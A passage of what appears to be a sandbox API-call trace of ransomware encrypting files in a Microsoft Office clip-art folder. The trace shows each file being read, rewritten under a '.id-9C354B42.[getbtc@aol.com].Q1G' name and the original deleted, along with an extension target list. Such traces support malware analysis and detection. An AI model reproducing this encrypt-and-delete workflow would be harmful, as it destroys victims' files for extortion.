0x204 [0249.781] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.781] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.782] GetLastError () returned 0x0 [0249.782] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x43fe, lpOverlapped=0x0) returned 1 [0249.784] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4400, lpOverlapped=0x0) returned 1 [0249.785] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.785] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.785] SetEndOfFile (hFile=0x3b0) returned 1 [0249.785] CloseHandle (hObject=0x3b0) returned 1 [0249.785] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.785] SetEndOfFile (hFile=0x204) returned 1 [0249.787] CloseHandle (hObject=0x204) returned 1 [0249.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0249.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.871] lstrlenW (lpString=".doc") returned 4 [0249.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.871] lstrlenW (lpString=".docx") returned 5 [0249.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.871] lstrlenW (lpString=".pdf") returned 4 [0249.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.871] lstrlenW (lpString=".xls") returned 4 [0249.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.871] lstrlenW (lpString=".xlsx") returned 5 [0249.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.871] lstrlenW (lpString=".ppt") returned 4 [0249.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.871] lstrlenW (lpString=".zip") returned 4 [0249.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.871] lstrlenW (lpString=".rar") returned 4 [0249.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.871] lstrlenW (lpString=".bz2") returned 4 [0249.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString=".7z") returned 3 [0249.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".dbf") returned 4 [0249.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".1cd") returned 4 [0249.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".jpg") returned 4 [0249.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".doc") returned 4 [0249.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString=".docx") returned 5 [0249.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.872] lstrlenW (lpString=".pdf") returned 4 [0249.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString=".xls") returned 4 [0249.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.872] lstrlenW (lpString=".xlsx") returned 5 [0249.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.872] lstrlenW (lpString=".ppt") returned 4 [0249.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".zip") returned 4 [0249.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.872] lstrlenW (lpString=".rar") returned 4 [0249.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString=".bz2") returned 4 [0249.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.872] lstrlenW (lpString=".7z") returned 3 [0249.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.872] lstrlenW (lpString=".dbf") returned 4 [0249.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.873] lstrlenW (lpString=".1cd") returned 4 [0249.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0249.873] lstrlenW (lpString=".jpg") returned 4 [0249.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.873] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.873] lstrlenW (lpString="FD00586_.WMF") returned 12 [0249.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.894] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=752) returned 1 [0249.894] CloseHandle (hObject=0x324) returned 1 [0249.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0249.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.902] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.903] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.913] GetLastError () returned 0x0 [0249.913] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2f0, lpOverlapped=0x0) returned 1 [0249.917] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x300, lpOverlapped=0x0) returned 1 [0249.919] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.919] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.919] SetEndOfFile (hFile=0x324) returned 1 [0249.919] CloseHandle (hObject=0x324) returned 1 [0249.919] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.919] SetEndOfFile (hFile=0x398) returned 1 [0249.921] CloseHandle (hObject=0x398) returned 1 [0249.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0249.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".doc") returned 4 [0249.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString=".docx") returned 5 [0249.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.922] lstrlenW (lpString=".pdf") returned 4 [0249.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString=".xls") returned 4 [0249.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.922] lstrlenW (lpString=".xlsx") returned 5 [0249.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.922] lstrlenW (lpString=".ppt") returned 4 [0249.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".zip") returned 4 [0249.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.922] lstrlenW (lpString=".rar") returned 4 [0249.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString=".bz2") returned 4 [0249.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString=".7z") returned 3 [0249.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".dbf") returned 4 [0249.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".1cd") returned 4 [0249.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".jpg") returned 4 [0249.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.922] lstrlenW (lpString=".doc") returned 4 [0249.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.922] lstrlenW (lpString=".docx") returned 5 [0249.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.923] lstrlenW (lpString=".pdf") returned 4 [0249.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString=".xls") returned 4 [0249.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.923] lstrlenW (lpString=".xlsx") returned 5 [0249.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.923] lstrlenW (lpString=".ppt") returned 4 [0249.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.923] lstrlenW (lpString=".zip") returned 4 [0249.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.923] lstrlenW (lpString=".rar") returned 4 [0249.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString=".bz2") returned 4 [0249.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString=".7z") returned 3 [0249.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.923] lstrlenW (lpString=".dbf") returned 4 [0249.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.923] lstrlenW (lpString=".1cd") returned 4 [0249.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0249.923] lstrlenW (lpString=".jpg") returned 4 [0249.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.923] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.923] lstrlenW (lpString="FD00799_.WMF") returned 12 [0249.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.924] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=13968) returned 1 [0249.924] CloseHandle (hObject=0x398) returned 1 [0249.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0249.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.924] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.924] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.925] GetLastError () returned 0x0 [0249.925] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3690, lpOverlapped=0x0) returned 1 [0249.942] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0249.943] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.943] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.943] SetEndOfFile (hFile=0x324) returned 1 [0249.943] CloseHandle (hObject=0x324) returned 1 [0249.944] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.944] SetEndOfFile (hFile=0x398) returned 1 [0249.946] CloseHandle (hObject=0x398) returned 1 [0249.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0249.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.946] lstrlenW (lpString=".doc") returned 4 [0249.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString=".docx") returned 5 [0249.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.947] lstrlenW (lpString=".pdf") returned 4 [0249.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString=".xls") returned 4 [0249.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.947] lstrlenW (lpString=".xlsx") returned 5 [0249.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.947] lstrlenW (lpString=".ppt") returned 4 [0249.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString=".zip") returned 4 [0249.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.947] lstrlenW (lpString=".rar") returned 4 [0249.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString=".bz2") returned 4 [0249.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString=".7z") returned 3 [0249.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString=".dbf") returned 4 [0249.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString=".1cd") returned 4 [0249.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString=".jpg") returned 4 [0249.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.947] lstrlenW (lpString=".doc") returned 4 [0249.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.947] lstrlenW (lpString=".docx") returned 5 [0249.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.947] lstrlenW (lpString=".pdf") returned 4 [0249.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString=".xls") returned 4 [0249.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.948] lstrlenW (lpString=".xlsx") returned 5 [0249.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.948] lstrlenW (lpString=".ppt") returned 4 [0249.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.948] lstrlenW (lpString=".zip") returned 4 [0249.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.948] lstrlenW (lpString=".rar") returned 4 [0249.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString=".bz2") returned 4 [0249.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString=".7z") returned 3 [0249.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.948] lstrlenW (lpString=".dbf") returned 4 [0249.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.948] lstrlenW (lpString=".1cd") returned 4 [0249.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0249.948] lstrlenW (lpString=".jpg") returned 4 [0249.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.949] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.949] lstrlenW (lpString="FD00814_.WMF") returned 12 [0249.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.949] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=42704) returned 1 [0249.949] CloseHandle (hObject=0x398) returned 1 [0249.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0249.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.950] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.950] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 